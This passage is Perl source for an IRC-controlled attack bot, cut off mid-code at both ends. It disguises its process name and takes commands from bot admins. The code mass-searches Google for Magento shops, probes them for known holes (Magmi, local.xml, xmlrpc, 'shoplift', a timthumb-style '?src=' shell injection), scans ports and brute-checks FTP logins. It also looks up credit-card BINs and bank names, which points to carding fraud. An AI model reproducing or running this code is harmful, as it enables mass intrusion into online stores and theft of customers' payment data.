if ($cekby10 =~ /search/i){ $bystats10 = "9Up!"; } else { $bystats10 = "4Lost!"; } my $bypasslogo = "3bypass";sleep(3); &msg("$path","$bypasslogo Checker "); &msg("$path","$bypasslogo 1 ==> $bystats1"); &msg("$path","$bypasslogo 2 ==> $bystats2"); &msg("$path","$bypasslogo 3 ==> $bystats3"); &msg("$path","$bypasslogo 4 ==> $bystats4"); &msg("$path","$bypasslogo 5 ==> $bystats5"); &msg("$path","$bypasslogo 6 ==> $bystats6"); &msg("$path","$bypasslogo 7 ==> $bystats7"); &msg("$path","$bypasslogo 8 ==> $bystats8"); &msg("$path","$bypasslogo 9 ==> $bystats9"); &msg("$path","$bypasslogo 10 ==> $bystats10"); } ##################################################################### HELP COMMAND if (&isAdmin($nick) && $msg=~ /^!help/) { my $helplogo = "15,1[ 9HELP 15]"; &msg("$channel","15,1[ 9HELP 15] [ 9AUTH BOSS!! 15]"); } if (&isAdmin($nick) && $msg =~ /^!pid/) { &msg("$channel","6Fake Process/PID : $fakeproc - $$"); } if (&isAdmin($nick) && $msg=~ /^!id/) { if (&isFound($thumbid,"GIF89")) { &msg("$path","9,1[4!9]Injector 4<9=4>9 Ready!!! "); } else { &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! "); } } ##################################################################### SCAN if ($msg =~ /!cari\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $find = $1; &msg($path,"$carilogo9 Searching 15$find "); &cari($path,$find); } exit; } } if ($msg =~ /^$magecmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("magmi/web/magmi.php",$1); &msg("$channel","$magelogo 10,1Dork : 11$dork"); &msg("$channel","10Search Engine Loading ..."); sendraw("MODE $channel +m"); &se_start($channel,$bug,$simpan,$dork,$engine,1); } } } if ( $msg =~ /^$magecmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("app/etc/local.xml",$1); sendraw("MODE $channel +m"); &se_start($channel,$bug,$simpan,$dork,$engine,2); } } } if ($msg =~ /^$magecmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("index.php/api/xmlrpc",$1); sendraw("MODE $channel +m"); &se_start($channel,$bug,$simpan,$dork,$engine,3); } } } if ($msg =~ /^$magecmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/customer/account/login",$1); sendraw("MODE $channel +m"); &se_start($channel,$bug,$simpan,$dork,$engine,4); } } } if ($msg =~ /^$shopcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/customer/account/login",$1); &msg("$channel","$magelogo 10,1Dork : 11$dork"); &msg("$channel","10Search Engine Loading ..."); sendraw("MODE $channel +m"); &se_start($channel,$bug,$simpan,$dork,$engine,4); } } } if ($msg =~ /^$shop2cmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $dork = $1; &msg("$channel","$magelogo 10,1Dork : 11$dork"); &msg("$channel","10Search Engine Loading ..."); sendraw("MODE $channel +m"); &se_start($channel,$bug,$simpan,$dork,$engine,4); } } } if ($msg=~ /^!port\s+(.*?)\s+(.*)/ ) { my $hostip= "$1"; my $portsc= "$2"; my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7); if ($scansock) { &msg("$path","15(7@2PORT15)7 $hostip : $portsc 9Accepted"); } else { &msg("$path","15(7@2PORT15)7 $hostip : $portsc 4connection refused"); } } if ($msg=~ /^!ip\s+(.*)/ ) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $ip = $1; &msg("$path","15(4@9IP15)6 Searching ".$ip." 9Location ..."); my $website = "http://www.ipligence.com/geolocation"; my ($useragent,$request,$response,%form); undef %form; $form{ip} = $ip; $useragent = LWP::UserAgent->new; $useragent->timeout(5); $request = POST $website,\%form; $response = $useragent->request($request); if ($response->is_success) { my $res = $response->content; if ($res =~ m/Your IP address is(.*)
City:(.*)Country:(.*)
Continent:(.*)
Time/g) { my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4); &msg("$path","6 IP Address 4:12 ".$ip." 3 ( ".$ipaddress." )"); &msg("$path","6 City 4:12 ".$ip." 3 ( ".$city." )"); &msg("$path","6 Country 4:12 ".$ip." 3 ( ".$country." )"); &msg("$path","6 Continent 4:12 ".$ip." 3 ( ".$continent." )"); } else { &msg("$path","15(7@2IP15)13 ".$ip." 4not found in database"); } } else { &msg("$path","15(7@2IP15)4 Cannot open IP database."); } } exit; } } if (&isAdmin($nick) && $msg =~ /^$bin\s+(.*)/ ) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $bin = $1; &msg("$path","15(4@9BIN15)6 Searching ".$bin." 9Location ..."); my $website = "http://arche5.com//modules/js/bins.php"; my ($useragent,$request,$response,%form); undef %form; $form{bin} = $bin; $useragent = LWP::UserAgent->new; $useragent->timeout(5); $request = POST $website,\%form; $response = $useragent->request($request); if ($response->is_success) { my $res = $response->content; if ($res =~ m/BIN : (.*)
Country : (.*)
Vendor : (.*)
Type : (.*)
Level : (.*)
Bank : (.*)/g) { my ($BIN,$country,$vendor,$type,$level,$bank) = ($1,$2,$3,$4,$5,$6); &msg("$path","9,1BIN 4:8 ".$BIN.""); &msg("$path","9,1Country 4:10 ".$country.""); &msg("$path","9,1Vendor 4:6 ".$vendor.""); &msg("$path","9,1Type 4:12 ".$type.""); &msg("$path","9,1Level 4:11 ".$level.""); &msg("$path","9,1Bank 4:0 ".$bank.""); } else { &msg("$path","15(7@2IP15)13 ".$bininfo." 4not found in database"); } } else { &msg("$path","15(7@2IP15)4 Cannot open BIN database."); } } exit; } } if ($msg=~ /^!bank\s+(.*)/ ) { my $bankinfo = $1; my $database = "banklist.txt"; open FILE,"$database"; my @results=; close FILE; my $bankvar = 0; my $chkvar = 0; foreach my $url (@results){ if($url =~ /$bankinfo\|(.*)/){ if($bankvar == 0) { $bankvar = 1; &msg("$path","7,1Bank :3 $1"); } } } } if ($msg =~ /^$ftpcmd\s+(.+?)\s+(.*)\s+(.*)/) { my $url = $_[0]; my $host = $_[1]; my $user = $_[2]; my $pass = $_[3]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($host,$user,$pass) = ($1,$2,$3); &msg("$path","9,1[4!9]FTP 4<9=4>15 Checking $host | $user:$pass"); my $success = 1; use Net::FTP; my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5); $success = 0 if $ftp->login($user,$pass); $ftp->quit; if ($success == 0) { ¬ice("$channel","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 9Success "); } else { ¬ice("$channel","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 4Denied "); } } } } } } for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line = $line_temp.$line if ($line_temp); $line_temp = ''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } } } } } ################################################################################## sub lobex() { my $dork = $_[0]; my @targets; for (my $st=0; $st<=1000 ; $st+=100){ my $engine = "http://www.google.com/search?q=".uri_escape($dork)."&num=100&start=".$st; my $browser = &search_engine_query($engine); while ($browser =~ m/ 0) { foreach my $site(@target) { $count++; if ($count == $num-1) { &msg("$channel","$carilogo9Finished 15for 9$dork "); } my $test = "http://".$site.".php?src=".$thumbshell; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $coba = &get_content($test); if ($coba =~ /Unable to open image/) { &msg($channel,"$carilogo9 VulN 4-> 15 http://".$site.".php "); } } exit; } } } } sub type() { my ($channel,$bug,$simpan,$dork,$engine,$type) = @_; if ($type == 1){$type=&magxpl($channel,$bug,$simpan,$dork,$engine);} elsif ($type == 2){$type=&magmi($channel,$bug,$simpan,$dork,$engine);} elsif ($type == 3){$type=&magmi_ini($channel,$bug,$simpan,$dork,$engine);} elsif ($type == 4){$type=&shoplift($channel,$bug,$simpan,$dork,$engine);} } ################################################################################## sub se_start() { my ($channel,$bug,$simpan,$dork,$engine,$type) = @_; if ($engine =~ /jackae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKAE",$type); } exit; } } if ($engine =~ /jackar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKAR",$type); } exit; } } if ($engine =~ /jackat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKAT",$type); } exit; } } if ($engine =~ /jackau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKAU",$type); } exit; } } if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKBR",$type); } exit; } } if ($engine =~ /jackca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKCA",$type); } exit; } } if ($engine =~ /jackcl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKCL",$type); } exit; } } if ($engine =~ /jackcn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKCN",$type); } exit; } } if ($engine =~ /jackcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKCoM",$type); } exit; } } if ($engine =~ /jackcz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKCZ",$type); } exit; } } if ($engine =~ /jackde/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKDE",$type); } exit; } } if ($engine =~ /jackdk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKDK",$type); } exit; } } if ($engine =~ /jackes/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKES",$type); } exit; } } if ($engine =~ /jackeu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKEU",$type); } exit; } } if ($engine =~ /jackfr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKFR",$type); } exit; } } if ($engine =~ /jackhu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKHU",$type); } exit; } } if ($engine =~ /jackid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKID",$type); } exit; } } if ($engine =~ /jackil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKIL",$type); } exit; } } if ($engine =~ /jackin/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKIN",$type); } exit; } } if ($engine =~ /jackinfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKInfO",$type); } exit; } } if ($engine =~ /jackir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKIR",$type); } exit; } } if ($engine =~ /jackit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKIT",$type); } exit; } } if ($engine =~ /jackjp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKJP",$type); } exit; } } if ($engine =~ /jackkr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKKR",$type); } exit; } } if ($engine =~ /jackmx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKMX",$type); } exit; } } if ($engine =~ /jackmy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKMY",$type); } exit; } } if ($engine =~ /jacknet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKNeT",$type); } exit; } } if ($engine =~ /jacknl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKNL",$type); } exit; } } if ($engine =~ /jackorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKOrG",$type); } exit; } } if ($engine =~ /jackph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKPH",$type); } exit; } } if ($engine =~ /jackpl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKPL",$type); } exit; } } if ($engine =~ /jackro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKRO",$type); } exit; } } if ($engine =~ /jackru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKRU",$type); } exit; } } if ($engine =~ /jackth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKTH",$type); } exit; } } if ($engine =~ /jackua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKUA",$type); } exit; } } if ($engine =~ /jackuk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKUK",$type); } exit; } } if ($engine =~ /jackus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKUS",$type); } exit; } } if ($engine =~ /jackba/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKBA",$type); } exit; } } if ($engine =~ /jackbb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKBB",$type); } exit; } } if ($engine =~ /jackbd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKBD",$type); } exit; } } if ($engine =~ /jackcc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKCC",$type); } exit; } } if ($engine =~ /jackco/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKCO",$type); } exit; } } if ($engine =~ /jackcm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKCM",$type); } exit; } } if ($engine =~ /jackhk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKHK",$type); } exit; } } if ($engine =~ /jackng/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKNG",$type); } exit; } } if ($engine =~ /jacktr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKTR",$type); } exit; } } if ($engine =~ /jackza/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKZA",$type); } exit; } } if ($engine =~ /jacktw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKTW",$type); } exit; } } if ($engine =~ /jacktv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKTV",$type); } exit; } } if ($engine =~ /jackpe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKPE",$type); } exit; } } if ($engine =~ /jacklr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKLR",$type); } exit; } } if ($engine =~ /jackis/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKIS",$type); } exit; } } if ($engine =~ /jackfi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKFI",$type); } exit; } } if ($engine =~ /jackeg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKEG",$type); } exit; } } if ($engine =~ /jackaq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKAQ",$type); } exit; } } if ($engine =~ /jackvi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKVI",$type); } exit; } } if ($engine =~ /jacksy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKSY",$type); } exit; } } if ($engine =~ /jackly/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKLY",$type); } exit; } } if ($engine =~ /jackmc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKMC",$type); } exit; } } if ($engine =~ /jackpt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKPT",$type); } exit; } } if ($engine =~ /jackve/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKVE",$type); } exit; } } if ($engine =~ /jackuy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKUY",$type); } exit; } } if ($engine =~ /jackeh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKEH",$type); } exit; } } if ($engine =~ /jackgb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKGB",$type); } exit; } } if ($engine =~ /jackvn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKVN",$type); } exit; } } if ($engine =~ /jackwf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKWF",$type); } exit; } } if ($engine =~ /jackuz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKUZ",$type); } exit; } } if ($engine =~ /jacktc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKTC",$type); } exit; } } if ($engine =~ /jackch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKCH",$type); } exit; } } if ($engine =~ /jacksb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKSB",$type); } exit; } } if ($engine =~ /jacksg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKSG",$type); } exit; } } if ($engine =~ /jacksa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKSA",$type); } exit; } } if ($engine =~ /jacksk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKSK",$type); } exit; } } if ($engine =~ /jacksi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKSI",$type); } exit; } } if ($engine =~ /jackbe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKBE",$type); } exit; } } if ($engine =~ /jackbiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKBIZ",$type); } exit; } } if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLe",$type); } exit; } } if ($engine =~ /googleCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeCA",$type); } exit; } } if ($engine =~ /googleDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeDE",$type); } exit; } } if ($engine =~ /googleUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeUK",$type); } exit; } } if ($engine =~ /googleFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeFR",$type); } exit; } } if ($engine =~ /googleES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeES",$type); } exit; } } if ($engine =~ /googleIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeIT",$type); } exit; } } if ($engine =~ /googleNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeNL",$type); } exit; } } if ($engine =~ /googleBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeBE",$type); } exit; } } if ($engine =~ /googleCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeCH",$type); } exit; } } if ($engine =~ /googleSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeSE",$type); } exit; } } if ($engine =~ /googleDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeDK",$type); } exit; } } if ($engine =~ /googleNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeNO",$type); } exit; } } if ($engine =~ /googleNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeNZ",$type); } exit; } } if ($engine =~ /googleIE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeIE",$type); } exit; } } if ($engine =~ /googleBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeBR",$type); } exit; } } if ($engine =~ /googleAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeAR",$type); } exit; } } if ($engine =~ /googleCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeCO",$type); } exit; } } if ($engine =~ /googleCU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeCU",$type); } exit; } } if ($engine =~ /googleCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeCL",$type); } exit; } } if ($engine =~ /googleMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeMX",$type); } exit; } } if ($engine =~ /googleAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeAU",$type); } exit; } } if ($engine =~ /googleRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeRU",$type); } exit; } } if ($engine =~ /googleAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeAT",$type); } exit; } } if ($engine =~ /googlePL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLePL",$type); } exit; } } if ($engine =~ /googleIL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeIL",$type); } exit; } } if ($engine =~ /googleTR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeTR",$type); } exit; } } if ($engine =~ /googleUA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeUA",$type); } exit; } } if ($engine =~ /googleGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeGR",$type); } exit; } } if ($engine =~ /googleJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeJP",$type); } exit; } } if ($engine =~ /googleCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeCN",$type); } exit; } } if ($engine =~ /googleMY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeMY",$type); } exit; } } if ($engine =~ /googleTH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeTH",$type); } exit; } } if ($engine =~ /googleIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeIN",$type); } exit; } } if ($engine =~ /googleKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeKR",$type); } exit; } } if ($engine =~ /googleRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeRO",$type); } exit; } } if ($engine =~ /googleTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeTW",$type); } exit; } } if ($engine =~ /googleZA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeZA",$type); } exit; } } if ($engine =~ /googlePT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLePT",$type); } exit; } } if ($engine =~ /ae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AE",$type); } exit; } } if ($engine =~ /ar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AR",$type); } exit; } } if ($engine =~ /at/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AT",$type); } exit; } } if ($engine =~ /au/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AU",$type); } exit; } } if ($engine =~ /br/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { 